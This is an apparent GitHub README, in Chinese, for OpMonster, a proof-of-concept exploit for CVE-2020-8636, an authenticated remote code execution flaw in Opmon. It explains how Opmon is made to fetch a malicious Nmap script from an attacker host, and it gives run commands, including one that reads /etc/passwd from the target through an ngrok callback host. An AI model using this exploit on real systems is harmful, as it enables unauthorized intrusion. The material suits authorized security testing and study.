phor3nsic/opmonster

GitHub: phor3nsic/opmonster

OpMonster 是针对 Opmon 监控平台 CVE-2020-8636 已认证远程代码执行漏洞的概念验证利用工具。

Stars: 2 | Forks: 0

OpMonster

CVE-2020-8636 — 针对 Opmon 的已认证远程代码执行漏洞利用

关于安装用法许可证

language last commit license stars

OpMonster

## 关于 OpMonster 是针对 **CVE-2020-8636** 的概念验证漏洞利用程序,这是 Opmon 监控平台中的一个远程代码执行漏洞。它滥用了 `nettools.php` endpoint,该 endpoint 允许你使用任意的 `--script` 选项运行 Nmap。 该漏洞利用程序使 Opmon 从你控制的服务器(通过 `http-fetch`)获取恶意的 `.nse` Nmap 脚本,将其释放到 `/tmp` 目录中, 然后运行该脚本以在目标上执行你的命令并打印输出。 由 [@phor3nsic](https://github.com/phor3nsic) 发现并开发。 更多详情:[Opmon 上的三个 CVE](https://phor3nsic.gitbook.io/aboutme/articles/three-cves-on-opmon)。 ## 安装 ``` git clone https://github.com/phor3nsic/opmonster cd opmonster pip install requests ``` ## 用法 首先,在目标可以访问的主机上启动一个 web 服务器,目录需能供生成的 `.nse` 脚本下载(该漏洞利用程序会将脚本写入当前目录): ``` php -S 0.0.0.0:1337 ``` 然后使用四个位置参数运行该漏洞利用程序: ``` python3 opmonster.py https://vulnhost.com myhost.ngrok.io 80 "cat /etc/passwd" ``` | 参数 | 描述 | |----------|-------------| | `HOST` | 目标 Opmon 的基础 URL(例如 `https://vulnhost.com`) | | `LHOST` | 提供 `.nse` 脚本下载的服务器主机 | | `LPORT` | 你的服务器端口 | | `CMD` | 要在目标上执行的命令 | 如果目标未下载脚本(“不受此漏洞影响”)或无法与你的服务器建立外部连接,该漏洞利用程序将中止并显示提示信息。 ## 免责声明 仅供授权的安全测试和教育使用。你对如何使用它承担责任。 ## 许可证 [MIT](LICENSE) © [phor3nsic](https://github.com/phor3nsic)
标签:Python, 威胁模拟, 字符串匹配, 无后门, 网络信息收集, 逆向工具